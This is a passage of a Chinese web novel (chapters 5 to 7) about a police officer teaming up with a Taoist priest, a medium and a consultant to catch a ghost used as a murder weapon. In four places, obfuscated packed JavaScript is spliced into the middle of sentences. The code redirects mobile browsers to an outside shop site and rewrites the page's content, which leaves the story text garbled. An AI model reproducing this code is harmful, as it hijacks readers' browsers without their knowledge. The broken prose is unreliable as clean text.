还有,602门上的血迹应该是从内部渗出门外的,屋里的人应该是在门内侧画了个什么阵法,用的多半是公鸡血、黑狗血这类东西,但他对阵法不太熟悉,老张擅长这个。他当时停在602门前,应该就是在研究阵法。 “嗯。”谢重阳拨通电话,忙线没人接,他举着手机问崔人往,“那602的人就不找了?” 崔人往懒洋洋地说:“人比鬼好找。” “啊?”电话提示正忙,谢重阳重新拨出去,表情古怪地看向崔人往,“什么鬼?” 崔人往偏头看向他:“好吧,我详细点说。” “602人跑不掉,就算万一人跑了,找他也是警察的工作,你们总有办法找到他的。” “但鬼跑了要找就是我们的工作,麻烦,所以先追鬼。” 电话一直打不通,谢重阳的科学大脑暂时无法理解这段预言,他问:“啊?” “……你队长叫你听我的你就乖乖听话其他别多问。”崔人往微微叹了口气,闭上眼偏过头,“这个说法行了吗?” “哦。”谢重阳不太痛快地应了一声。 他等待片刻后接着拨号,听着忙线又开口:“你有没有觉得你自己……有什么缺点。” 崔人往面无表情地睁开眼:“……我一身的毛病,你说话还挺委婉的。” “那倒是也没有那么多缺点。”谢重阳安慰他,“至少你很聪明,也很专业,一下找到了突破口。” 虽然现在还不知道602的快递跟自杀 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16984555|193620||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 案有什么关系,但谢重阳直觉他们应该是抓到了什么重点。 崔人往:“……” 他是不是还得道谢? “但你不能总骗人。”谢重阳一脸认真,“你都答应我等我一块上去了,又自己先走了,擅自行动!万一602里面的人穷凶极恶呢?” 崔人往有点头疼:“我们做事风格不一样。” “我不介意说谎,不介意用钱解决,只要事情推进,能达成目标就好。” “但你是个警察,你要追求程序正义,看不惯我也很正常。” “那倒是也没有看不惯。”谢重阳拧着眉头,“我现在是属于……” 他琢磨着措辞,最后严肃地对他说,“希望你走上正道。” 崔人往:“……” 谢重阳盯着他:“你现在在我心里,本事可靠,人也聪明,但是说话可信度很低!” 崔人往张了张嘴,最终默然,偏了偏脑袋,懒洋洋略带挑衅地回:“那怎样?” 谢重阳拧起眉头,表情复杂地盯着他:“你果然是江湖骗子吧?” 崔人往:“……” 他问起正事,“电话还打不通?” “嗯。”谢重阳低下头,“我在查这个区域的快递公司电话,公司可能会知道他现在大概在丰城哪一片。” 崔人往想了想,也掏出手机给张道长发消息:“方便以后给我共享个位置。” …… 而此时,丰城城郊,桂山。 桂山半山腰,十分僻静,树木长得格外繁茂,几乎遮挡日光,白天都暗。许多带院子的独栋别墅依山而建,少数是自己住的,大多数都是民宿,旅游季的时候人才多。 拿了602门前快递的快递员停下车,一手手机一手快递盒,习以为常地往上划掉电话,哼着小曲,看着地图往配送地址走。 就在这时,手机屏幕顶端弹出几条消息,快递员正要点开,手里的快递盒忽然发出了一点动静。 “哎哟!”快递员吓了一跳,差点失手把它掉在地上,险险接住了。 他低声骂了句脏话:“不是日常用品吗?不会是活的吧?” 这快递盒连个气孔都没留,他担心别是小猫小狗,看了眼近在咫尺的目的地,赶紧快步走过去按门铃。 他一边等着主人开门,一边轻轻晃了晃手中的快递,试图弄清这里面到底是什么。 没人应门,他只好再次划掉持续打进来的电话,拨通收件人的电话。 “喂。” 电话那头是个沙哑的男声。 快递员中气十足:“哎,您的快递!家里没人吗?” “嗯。”男人声音低哑,“放门口就好。” “呃……”快递员犹豫一下,还是说,“但是这里面是什么东西啊?刚刚好像动了一下,不会是活的吧?那个,寄件的时候说的是日常用品,这个,如果是活物的话,不太合规的。” 男人似乎思考了一会儿,他笑了一声说:“我也不知道里面是什么。” “这是别人送给我的礼物。” “你如果很好奇的话,那就帮我打开吧。” “啊?”快递员挠挠头,“您确定吗?也行,我给您拍个视频吧。” “没关系。”男人轻声笑起来,“你打开就好了。” 快递员随手用钥匙划开了快递封箱带的一角,打算从边角确认一下里面的东西。 他凑近了往里看——里面是个小棺材一样的雕花木盒子,四面贴着符纸封条,在他的注视下,盖子又像是被从内部推动一样,“咔哒”震动了一下。 5. 005.抓鬼 “啊!” 快递员大叫一声,快递盒应声落地,里面的封条木盒“咔哒”一声摔开了盖子,里头有灰白色的粉末带着小块的骨片,怎么看都是…… “骨灰盒啊!”快递员差点咬到舌头,手机也摔在地上,电话那头传来低低的笑声,男人似乎格外愉悦。 陌生人号码还在不断打进来。 快递员气不打一处来,正要拿起手机开骂,对面已经挂断了电话。 他只好对着手机怒骂了两句,又觉得不管怎么说把人骨灰盒摔了有点缺德,还是骂骂咧咧地扭头去把快递盒捡起来,嘴里嘀嘀咕咕:“不关我的事,是那个人故意吓我,这位朋友你别见怪……” 他才弯下腰,就觉得背上越来越重,垂下的脑袋和手怎么也抬不起来。 他维持着这个诡异的姿势,手掌微微颤抖,阴冷渗入骨髓,喉咙仿佛被锁住发不出声音求救。 不知道过了多久,他听见自己叹了口气,以一种不属于自己的语气腔调,慢慢地开口说:“完了,都完了。” 他眼睛直愣愣地看着地面,无法控制自己的唇舌,连脑袋的想法都变得缓慢。 就连“见鬼了”这个想法都仿佛被拉长了一样,极其缓慢地从他脑中划过去。 …… 丰城新村。 “确定他的位置了。”谢重阳抬起头,一脚油门冲了出去,“602下的快递单要送往桂山别墅18号,要上山。” “另外,602现在还不确定跟案子有没有关系,不好直接抓他,但警队会派人盯着他防止他逃走。” 谢重阳强调,“我们不是个人行动。” 崔人往对此没有异议,他只说:“到了地方,你可能会看到一些……奇怪的东西。” “我有一个要求。” 他看向谢重阳,“我让你做什么,你就做什么。” 谢重阳怔了一下,他表情古怪:“这应该算是很多个要求吧。” 崔人往理直气壮:“嗯,也可以这么说。” 谢重阳犹豫一下:“好吧。” 他连忙又说,“但违法的不行!” 崔人往:“尽量。” 谢重阳瞪大眼睛看向他:“啊?” 崔人往风轻云淡:“开车看路别看我。” …… 丰城,桂山。 快递员垂着头站在28号别墅门前。 “他”还在絮絮叨叨地说话,语调了无生气:“都是我的错,都怪我,是我蠢……” “我去死就好了,我去死就好了!” “反正你们都希望我去死!” 他说着说着情绪激动起来,猛地转身走到了半山腰一抬腿就能跨过去的防护栏边。 防护栏外边就是树叶繁茂的桂山,朝下望去,像绿色的深狱。 他用空荡荡的目光漫无目的地扫向山下,语气又慢慢沉下去,“反正,工作也没了,老婆也没了,孩子也不肯见我,我现在除了一屁股债什么没有,什么都没有……” 他慢慢撑着栏杆迈出一条腿,身后响起一阵急促的“滴滴”声,两辆小电驴顺着盘山路一前一后飞驰赶来。 戴着头盔的张道长一把掀开挡风板,口中念词不停,随着他快速靠近,他念的咒语在鬼魂耳中如雷霆乍响:“……驱邪缚魅,保命护身!” 快递员的手飞快弹动了一下,硬生生停下了动作。 张道长口中不停,趁机停下车,一个箭步冲到快递员身后,一把抱紧他,口中更加大声:“三魂永久,魄无丧倾!” 快递员用力挣扎起来,喉咙逐渐能发出声音,他声嘶力竭地喊了起来:“救命、救命啊!我控制不住,有鬼、有鬼啊!” “我知道我知道!”老张死死抱着他,跟他隔着防护栏僵持,“你别往前面挣扎,你往后,往后倒!” “小桃!掏我的符来!在我包里!我腾不出手!” “来了!”在他后面一辆小电驴上的女孩匆匆翻身下车,踉跄了一下扑到他身旁,蹲下来忙乱地翻他的包,“什么样的!” 林夏桃打开他的包差点哭出来,“老张你包里乱成什么样了你怎么把厕纸跟符放一块啊!” 老张哭丧着脸:“下次我一定整理……哎哟!” 快递员突然往后摔下去,带着老张还撞倒了林夏桃,三个人一时间摔成一团。 “哎哟我这一把老骨头……”老张扶着腰,瞪大眼睛,“不好!” 快递员已经又站起来——他如今被鬼附身根本不知道疼,动作比一般人更快。 “别管我了!”他崩溃地抱着头大喊,“别救我!让我去死!让我去死!” 他又一次转身,朝着栏杆冲过去。 就在此时,一辆黑色越野疾驰而来,车头瞬间亮起两盏大灯,快递员忽然捂着眼睛惨叫了一声。 林夏桃连忙喊:“老张!就是现在!” 老张也根本睁不开眼,掏出符纸后伸着手摸人在哪。 谢重阳已经冲下了车,两三步跟上踉跄着还想翻过栏杆的快递员,拽着他的衣服直接扼住他的脖子,将他整个人提了起来。 老张眯着眼,终于摸索着将符咒贴到了快递员身上。 谢重阳瞬间感觉手中人挣扎的力度变小了,软绵绵地往下倒。 “哎!倒——”老张总算松了口气,“小桃,快!” 崔人往关了车的大灯,从车上走下来,小桃已经从包里取出一截香薰蜡烛点燃,然后盘腿坐在地上,深吸两口气,抖了抖脖子上刻着奇怪文字的银牌,低声念:“家住……身份证号……李成!来!” 谢重阳疑惑地眨眨眼,下意识看向了崔人往。 崔人往竖起食指“嘘”了一下,示意他安静。 “啪”一声,林夏桃高举双手合掌,闭着眼没有睁开,长出一口气:“请到了,他……呃!” 她脸颊有些不自然地抽动了一下,崔人往就站在她身前,轻声说:“安静点。” 四周似乎有阴风吹过,除了谢重阳,其他几人似乎都有些紧张。 被小桃暂且请到身上,还在躁动不安的李成鬼魂瞬间偃旗息鼓。 林夏桃松了口气:“这回没问题了!多亏你老大!” “嗯。”崔人往点了下头,回头对上了谢重阳的视线,“你可以把他放下来了。” ——他还提着那个已经昏过去的倒霉快递员。 “哦!”谢重阳连忙点头,看了看这三个人,“你们这是……” 崔人往短暂介绍:“道士张不虚,灵媒师林夏桃。” “哦——”谢重阳恍然大悟,“你们仨是一个团伙!” 崔人往:“……” 谢重阳又问:“那你又是什么身份?” 崔人往面无表情:“特别顾问。” “嘿嘿,这是警局给你配的人啊?”老张见鬼已经逮到,瞬间放松下来,嬉皮笑脸指着谢重阳,“没跟他说明情况啊?” “说了。”崔人往拉高围巾嘟囔,“他不信邪。” “挺好。”老张笑得慈爱,“不信 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16984556|193620||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 邪的确实不容易中邪,当警察就需要这样的人才。” 他摆了摆手,“走吧,这位警察同志带我们一程?” “行。”谢重阳痛快答应,“先把这快递员送医院,然后你们几个……” “我们跟你一块回警局,这小伙子没什么事的,就是吓晕了,带去你们警局医务室看看就行,用不着去医院。”老张已经收拾好了地上摔开的骨灰盒,端着它像端着饭盒一样自然,十分自来熟地拉开后座车门,指了指也乖乖坐上车的林夏桃,“这个才得抓紧审,趁热打铁!” 虽然知道谢重阳不相信,但崔人往还是说:“李成的鬼魂现在在小桃身上,一会儿就能借用小桃的身体,跟相对冷静一点的李成鬼魂对话。” “其实咱们小崔直接就能问。”老张笑呵呵地说,“但小桃还能共感,有些鬼魂说不出来的画面,她也看得见。” “呃……”谢重阳挠了挠头,看向后座闭着眼睛格外安静的女孩,欲言又止地看了崔人往一眼。 崔人往理直气壮地看了回去。 谢重阳最终还是无言地踩了油门。 老张还兴致勃勃地问:“哎,小崔,你怎么知道车大灯能限制他行动啊?” “猜的。”谢重阳低头拨弄手机,“他刚刚说这车有太阳能充电。” 老张恍然大悟:“哦——” “太阳能转电能克鬼,合理!” 谢重阳茫然地眨眨眼:“啊?他不是单纯被照得睁不开眼吗?” “嗯。”崔人往敷衍,“你就当是这么回事。” 老张却笑眯眯地打量着谢重阳,问他:“小伙子,你多大了?哪年哪月生的?” “xx年重阳节生的。”谢重阳很好说话,“怎么了?你要给我算命啊?我不信这些的。” “哦。”老张掐指一算,“九月初九,双阳相重,怪不得我看你阳气充沛,果然八字够硬!” 崔人往听着有点不对劲,回过头看他一眼:“打什么坏主意?” “啧,好主意。”老张笑眯眯地对他挤眉弄眼。 崔人往:“……” 有种不祥的预感。 …… 一车连人带鬼回了警局,老张说去跟他们局长打声招呼,把骨灰盒塞给了崔人往,大摇大摆去了局长办公室。 他敲了敲门,一张国字脸的赵局长并不意外地抬起头,招呼一声:“来了?” “怎么样,这次有希望找到背后的人吗?” “至少比以前希望大。”老张笑起来,在他面前坐下,“好歹以后不会有人会像‘李成’那样死了。” “他这样的怨鬼,没有主动害人的意思,但却因为被困在自杀前的那一刻,附在其他人身上一遍遍重复自杀的动作……利用他这样做的邪修,实在阴毒!” “这次咱们动作快,驱使这鬼的人还没被灭口,应该能问出点什么。” 张不虚提议,“老赵,602的那个人得抓了。” 赵局长微微颔首:“但是我们办事是需要符合流程的,带他过来也需要一个合理理由……” “这个简单。”老张拍手,“就说有人举报他在家进行封建迷信活动,信我的,他家绝对有不少涉及邪丨教的东西,进门了就能找到证据。” 赵局长犹豫片刻,最终颔首:“好。” “行,那等你们好消息。”老张笑起来,“我先去找他们,看看李成怎么说。” “我们的地方,也快批下来了吧?” “我还想再跟你要个人。” 6. 006.挖墙脚 赵局长如临大敌:“我们人手本来就不够用,你还想从我这挖墙脚?” “哎呀,你是没看见今天的情况啊。”老张拍着大腿就开始诉苦,活像来打秋风的,“我们这一伙人,老弱病残能占仨,要不是你们小谢身强体壮一把将那个被鬼附身的倒霉蛋提起来,还真不一定能救下他!” “我是想明白了,我们几个对付鬼绰绰有余,但面对身强力壮的活人……” 他把手一摊,“那就完蛋。” 赵局长:“……” 老张撑着桌子凑过来:“你们一般人可能看不出来,但我敢打赌,你们整个警局恐怕都没有比小谢八字更硬、阳气更重的了,非常适合到我们这个即将成立的量子科学技术部当个镇物。” 赵局长还是没搭茬,但明显在认真思考。 老张趁热打铁,换上苦口婆心攻势:“你也知道,我们这个组,主要是为了那个案子成立的对不对?” “到时候完事了,估计我们也就散了,他也就正常归队。” “现在上头还特地给我们批了这么个部门,可见对这件事还是很重视的,到时候小谢不得给你领个功劳回来?怎么说也是你带出来的人,到时候你面子上肯定有光。” “嗯咳。”赵局长板着脸,“少跟我来这套,你这老滑头。” “我不是为了什么功劳,你知道的,只要能破案,能把凡人抓住,不管是科学,还是你们这些……宗教神秘学人士,我都不介意用。” 他显得为难,“但是小谢他吧……” “我知道。”老张笑嘻嘻地点头,“我们家小崔已经看过了,这孩子不信邪是吧?就是这样的才好!道心坚定,神魂也坚!” 赵局长叹了口气,态度软化不少:“毕竟也不能正大光明对外宣称你们的存在,这事……我总得问问他自己的意见。” “你帮忙劝劝,我看得出来,这孩子肯定听指挥,你开口准能行。”老张挤眉弄眼,“说定了啊,回头请你喝茶。” “啧。”赵局长翻了个白眼,“你别来害我,我可不收礼。” “哎哟,你们体制内就是麻烦哈。”老张背着手走到门口,“就给你喝一杯,没让你带茶叶走!哦对,再过一阵子我们山上的春笋就有了,等我徒弟给我寄过来,叫你过来吃饭。就家里吃啊!” 赵局长总算露出一点笑意:“知道了。” “你也悠着点吧,都到退休年纪了,做事稳当点,别总冲前头了。” “是不年轻咯。”老张摇摇头,“今天拉个人都差点没拉住。但我这个行当没有退休的说法,越老越吃香。” 他笑嘻嘻地一扬下巴,“瞧好吧,我还能跟他们斗到底呢。” 赵局长笑着摇摇头。 …… 谢重阳让崔人往带着小桃去之前那个空房间稍等,自己把昏迷中的快递员送到了医务室交给同事,同步情况,再回来找他们。 他推开门,崔人往在桌前坐着看手机,林夏桃趴在桌上似乎睡着了。 谢重阳放轻了脚步,带上门低声问崔人往:“她睡着了?” “不是。”崔人往平静地拆穿她,“她不想跟人打招呼就装睡。” 林夏桃的睫毛轻颤了一下,还是努力维持着一动不动的状态。 “啊?”谢重阳似乎有些难以理解这种社恐,“那……我能正常说话吗?我还有点事想问你。” “嗯。”崔人往放下手机,“我可以回答,不过,你未必会相信。” 经过这段时间的相处,崔人往已经大概摸清谢重阳的性格了。 “但你依然可以说。”谢重阳认真点头,“我可以从中推理出真相。” 经过这段时间的相处,谢重阳也自认为他已经大概摸清崔人往的性格了。 崔人往:“……行。” 他倒要看看谢重阳还能怎么让这个故事科学起来。 等谢重阳在他面前坐下,崔人往给他从头梳理了一下案情。 事情得从李成自杀说起。 五年前,李成因工作重大失误被开除,并被公司告上法庭,欠下巨额债务,妻离子散,最终自杀。他自杀后,骨灰盒一度无人认领,时间一长,就从那个小殡仪馆里神秘消失了。再有下落时,他的骨灰盒已经成了封存“怨鬼李成”的工具。有人利用他生前的怨气,让他附身目标一次又一次重复自杀的动作,营造出被害者自杀的假象。 那么说回到这次的肖子杰“自杀”案,“怨鬼李成”就是这件案子的凶器,602是驱使凶器的凶手。 而崔人往他们一直在追查的,是——究竟是谁将“怨鬼李成”这把凶器,交到各个想杀人的凶手手里。 谢重阳听完,安静了一会儿后,突然说:“我还是觉得应该跟宗教有关。” 崔人往挑眉:“嗯?” “国外研究犯罪心理的时候,会发现很多执着于固定象征符号的连环杀手,都有独特的宗教信仰。”谢重阳认真分析,“有的是邪丨教,有的是正常宗教的扭曲信仰,总之,这种信仰能够帮助他们接纳自己的不正常行为,让他们获得行动逻辑自洽。” “很多匪夷所思的行为,代入相应的宗教理念,就是符合逻辑的。也就是,思考这类案件的时候,是不能用一般逻辑考虑的,怪不得会请你们来做特殊顾问。” 谢重阳赞同地微微点头,“按照你说的,拿着李成骨灰盒的那个人,某种意义上也算是,借刀杀人的连环杀手。他是策划者,602是执行者,他很有可能把自己当做这些杀人者的‘老师’,宗教信仰中的领导者,类似‘教父’、‘神甫’这类角色。” “应该就是这个人,一步步引导者602对被害人肖子杰进行精神虐待,最终将‘李成’的人格灌输给肖子杰,导致了被害人的自杀。” 崔人往:“……” 谢重阳摸摸自己的脸:“你这么看着我干什么?” 崔人往意外地打量着他:“说的还挺专业。” 谢重阳差点被他气笑:“我好歹也是正经警校毕业的,你把我当什么啊!” 崔人往:“笨蛋。” 谢重阳:“喂!” 崔人往低低笑了一声,他轻轻叩响桌子:“既然这样,就给谢警官看点更不好用科学解释的东西吧。” “小桃,李成应该直面过幕后黑手,让他把那个人的模样画出来。” 林夏桃装着刚刚睡醒,揉了揉眼睛,低头答应:“哦……” 大约十分钟后,老张兴冲冲推开了房间门:“孩子们,我搞定了,你这里怎么样啊?” 谢重阳和崔人往几乎是脑袋靠着脑袋,站在小桃身后弯腰看她画画,表情是相似的凝重。 “怎么了?”老张自来熟地凑过去,跟他们一块看清了那副……儿童简笔画。 “呃。”谢重阳欲言又止,偷瞄了崔人往一眼,“这就是你说的……” 不好用科学解释的东西? 崔人往指着画上那个初具人形的倒挂拖把,问小桃:“这是你的画技,还是李成的?” 林夏桃羞愧地低下头,声如蚊蚋:“……我 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16984557|193620||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 们俩,都不会画画。” 崔人往:“……” 行,也是给他碰上画技0加0的人才和鬼才了。 崔人往长叹一口气:“我给你报个素描班吧。” “来不及了吧?”老张轻咳一声,“警局应该有画像师,还是找个专业的来。小桃你把画面细节记清楚,一会儿让人帮你画出来。” “一直把鬼放在小桃身上也不是个事,我先把他收起来。” 他从包里又掏出一个画着五颜六色人物的白色圆罐出来,点香,收鬼,将李成的鬼魂暂时收在其中。 谢重阳盯着他那个罐子,怀疑的眼神从三人脸上依次扫过,显然对于他们在警察局大搞封建迷信活动很有意见,但最终还是叹了口气问:“你喝茶吗?” 崔人往解释:“这是兵马罐,道家用来安置兵马、拘束鬼魂的法器。” “哦……”谢重阳似懂非懂,“那这个……也要倒点吗?” “去去!”老张连忙捧着兵马罐摆摆手,“别乱来!” 崔人往看向窗外:“不早了。” 老张明白他的意思:“这案子里鬼的部分完成了,后面得看你们了。” “哎,小谢啊,你有我们小崔的联系方式吧?等快递员醒过来,602的审完,你再联系我们哈!” “队长允许的话,我就联络你们。”谢重阳点点头,又瞟了一眼崔人往。 崔人往已经起身拉了拉围巾,问老张:“从李成那能找到驱使者?” 老张遗憾地摇摇头:“这次我们动作比往常快,但他反应也快,估计在602寄快递的时候就已经斩断跟李成的联系了。” “啧,还真果断,这也算是他养了挺久的鬼了,就这么放了……还真舍得。” “走之前,小崔你带小桃去找画像师,我还跟小谢说两句话。” 林夏桃拎起自己的东西,乖乖站到了崔人往身边。 崔人往狐疑地盯着他,老张把他俩赶走,这才折回去问谢重阳:“嗯咳,小谢啊,你跟我们小崔相处这么半天,对他印象怎么样啊?” “印象?”谢重阳疑惑地重复一遍,“他……” 他眼前闪过崔人往笑起来的模样,还是放软了语气,“人还挺好的。” “也不是,我的意思是,他人很聪明,非常聪明,但就是喜欢装神弄鬼……” 他说着有点小声,因为眼前这个道士也喜欢装神弄鬼,虽然他没扎发髻,乍一看比起道士更像是老年摇滚长发男。 “没事。”老张笑得慈爱,“你说说嘛。” “我觉得他没坏心。”谢重阳就放心接着往下说,“就是他出入公安局,还满嘴鬼啊什么的,容易宣传封建迷信!还是不太好。我知道你们协助破案不是坏人,但外面有的是利用这些干坏事的骗子,还是要注意影响的!” “嗯嗯,有道理。”老张笑容愈发深邃,“所以,你还是不信那些的,对吧?” 谢重阳笃定:“不信。” 老张含笑点头:“虽然不信,但你还觉得我们小崔人不错,对吧?” “嗯。”谢重阳认真点了点头。 老张一合掌:“就是你了!” “太合适了!” 谢重阳疑惑地拧起眉头:“啊?” “我看出来了。”老张一副神棍架势,“谢警官,咱们几个有缘,定会再相见!” “有事找我们小崔啊!他回消息慢,你直接打电话。” 老张喜气洋洋地推门出去了,谢重阳只能困惑地目送他远去。 7. 007.命运 丰城市中心酒店套房内,空调温度开得很高,略显干燥的室内,茶几上的香炉里飘出淡淡的沉香气味。 崔人往盖着条毯子蜷在沙发上,睡梦中也微微蹙着眉头。 手机默认铃声打破了房间内的宁静,崔人往挣扎着伸出一只手,胡乱摸索着拿到了手机。 他缩在毯子里微微叹了口气,每次从梦中醒来,他的状态都不太好。 古人玩笑般将睡眠称作“小死”一会儿,但对崔人往来说可能不太像个玩笑。 他当初第一次跟老张遇见的时候,差点被人当成能在太阳下行走的厉鬼,每到梦中,生死界限更加模糊,老张说他睡着的时候指不定魂魄已经自己去地府溜达好机会提前观察居住环境了。 每次睁眼,是真的都恍如隔世。 崔人往按了按太阳穴,闭着眼把手机放到耳边:“喂。” 如果是什么推销电话他就立马挂断。 “喂!”电话那头充满活力的声音跟他形成鲜明对比,谢重阳喊他,“小崔,你不会还在睡觉吧?” 崔人往慢慢睁开了眼睛,看了眼手机,没备注……他什么时候知道自己电话的? 还小崔……多半是跟老张学的称呼。 崔人往敷衍应了一声:“嗯。” “现在已经下午两点了!”谢重阳十分震惊,“你睡到现在啊?” 崔人往没想跟他分享自己的作息时间,直接切入正题:“是有进展了吗?” “啊对。”谢重阳好像在走路,一边走一边说,“快递员醒了,他说送快递当时给收件人打了电话,对方还引导他打开盒子看看,我怀疑这个盒子里不光是骨灰,很可能还有什么致幻成分,才导致他的状况不对,技术部正在分析呢。” “还有,我们也根据收件人信息和桂山别墅地址追查了下去,不过对手很警觉,没留下能够顺藤摸瓜的线索。” 崔人往不是特别意外,但还是问了一句:“电话、地址都跟他没关系吗?” “嗯,屋主在外度假,完全能够联络的上,目前排除了嫌疑。电话号码是买的,号主身份是个八十岁老太太。”谢重阳轻轻“啧”了一声,“真是狡猾。” “另外,602的嫌疑人也正式提审了,他家里搜出来不少祭祀邪丨教用具,还有冰冻在冰箱内的鸡血残余,电脑内也有不少证据,技术部还在整理。” “队里已经问过一轮,队长说可以让你们过来了。” “嗯。”崔人往往毯子里缩了缩,闭上眼睛轻声说,“我知道了。” “哎!” 谢重阳忽然拔高音调喊了一声,崔人往身体一震睁开了眼睛,无言看向了手机。 崔人往:“……干什么?” “感觉你好像又要睡过去了。”谢重阳提醒他,“赶紧过来啊!这个点还困,你晚上几点睡的啊?多久能到?” “半小时。”崔人往挂断了电话。 他叹了口气,从沙发上坐起来,往群里发了消息通知小桃老张,推门进了洗漱间。 半小时后,崔人往出现在了公安局门口。 看消息,老张和小桃都已经到了,谢重阳发了不少信息,他一直没回,这会儿才打算回一个“到了”的表情包。 表情包还没按出去,谢重阳已经跑到他跟前,在他反应过来之前,迅速突破了社交距离,猝不及防往他脸上贴了个热乎乎的东西。 崔人往:“!” 他睁圆眼睛,还没来得及后退一步,谢重阳已经拉着他的手按住了包子:“还算准时,给你买了几个包子,趁热吃吧。” 他转身在前面带路,“我猜你自己肯定不会吃东西。” 崔人往昨天喝三杯奶茶当饭吃的事还让他记忆犹新。 崔人往看了看手里热乎乎的包子,又看了看他的背影,面无表情地擦了擦脸,怀疑他把油蹭自己脸上了。 谢重阳还接着往下说:“老张已经先来了,在讯问室问罗锋呢,哦,罗锋就是602的住户。” “局长和队长都在旁听,那边人太多了,老张说你应该不会乐意挤进去,让我带你先去空房间等着,一会儿把笔录给你看,我就留在外面等你了。” “嗯。”崔人往应了一声,确实没打算去凑那个热闹,问他,“什么馅的?” 那一袋包子足足七八个,他不确定这是不是谢重阳眼中他一顿的饭量。 “都有。”谢重阳回头,“豆沙、肉馅、青菜,甜咸荤素都有!” 崔人往跟着他进了个空房间,坐下问:“哪个是豆沙的?” “外表看不出来吗?”谢重阳随口说,“那你掰开看看吧,不吃给我。” 崔人往挑眉:“你也没吃?” “吃了啊,再多吃几个包子而已。”谢重阳抬眼,“干嘛那么看我?” 崔人往打量了眼他的个子,微微颔首:“嗯,不算白吃。” 谢重阳:“?” 不是骂他吧? 崔人往又说:“谢谢。” “包子钱我转你。” “不用。”谢重阳看他的表情猜到他要说什么,抢在他开口之前说,“你请我有贿赂嫌疑,但我请你属于——警民一家亲。” 他露出笑脸盯着他,“吃吧。” 好像还挺有成就感。 崔人往:“……” 他随手掰开一个,肉馅的。他看谢重阳一眼,对方已经自觉地伸出了手。 崔人往小幅度勾了勾嘴角,把露了馅的肉包放在他掌心:“你帮我找一个豆沙馅吧。” “嗷。”谢重阳叼着包子,也随手掰开一个,“这不就是!给你。” “运气真好。”崔人往感慨一声,接过包子慢条斯理地咬了一口,嚼了半晌也没咽下去。 吃完一个包子发现崔人往就咬了一口的谢重阳意识到什么,观察着他的表情问:“……噎啊?” 崔人往沉默片刻,绷着脸点了点头。 “我给你倒水。”谢重阳没忍住笑起来,正要起身,崔人往抬了抬手,总算艰难把那一口没咬到馅的豆沙包咽下去。 “不用。”崔人往闭了闭眼,“我点杯奶茶。” “又喝。”谢重阳表情复杂,“不爱喝没味道的水?” 崔人往别开视线。 “小朋友一样……你等等。”谢重阳转身,“理科那好像还有可乐,我去给你找一瓶。” 没过一会儿,他抱着AD钙奶、可乐、冲泡豆浆甚至还有一盒泡面过来,稀里哗啦往崔人往面前一放。 “这钙奶是钱松闺女给他的,他一天到晚炫耀,给他缴了!”谢重阳笑着递给他,“就是找不到吸管了。早餐好像配豆浆更合适,但是泡面汤也行吧?都下午了,你要不索性多吃点,香辣味的,能吃吗?” 崔人往:“……” 不知道的还以为他来警察局野餐来了。 他摇摇头,只拿了那瓶钙奶。 崔人往问:“你也不去听吗?” “人太多了,我也不去挤了,既然抓到人了,就不用那么着急了。”谢重阳一本正经,“而且老张把你托付给我了,说让我照顾好你,不能把你一个人扔这啊。” 崔人往:“……” 也不知道老张在打什么主意。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16984558|193620||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>他本来觉得这豆沙包又噎又腻嘴,但咽下去之后,胃里垫了点热腾腾的正经食物,居然觉得舒服了不少。 难得有点胃口,崔人往又拿了一个,掰开,还是豆沙的。 谢重阳正等着他塞进嘴里,见他不动,又问:“豆沙的不好吃啊?” “想吃个菜的。”崔人往话音未落,谢重阳已经伸出了手。 他又给崔人往掰了一个:“喏,这个是。” 崔人往轻轻眨了下眼,跟他交换包子,老张正好推门进来:“哎,小谢你……” 他看清门内的场景,脸上瞬间挂上慈爱的笑容,“哎哟,分吃的呐,感情真好。” 崔人往:“……问完了?” “嗯。”老张凑过来,“有没有我的份啊?” “随便吃。”谢重阳大方地分享,关切地问,“他认了吗?” “嗯,小桃跟着画像师去对比犯罪数据库里的相似人脸数据了,一时半会儿回不来,咱们几个先说。”老张咬着包子坐下,开了那罐可乐,“这次咱们动作快,总算是抓到了罗锋这个突破口。” 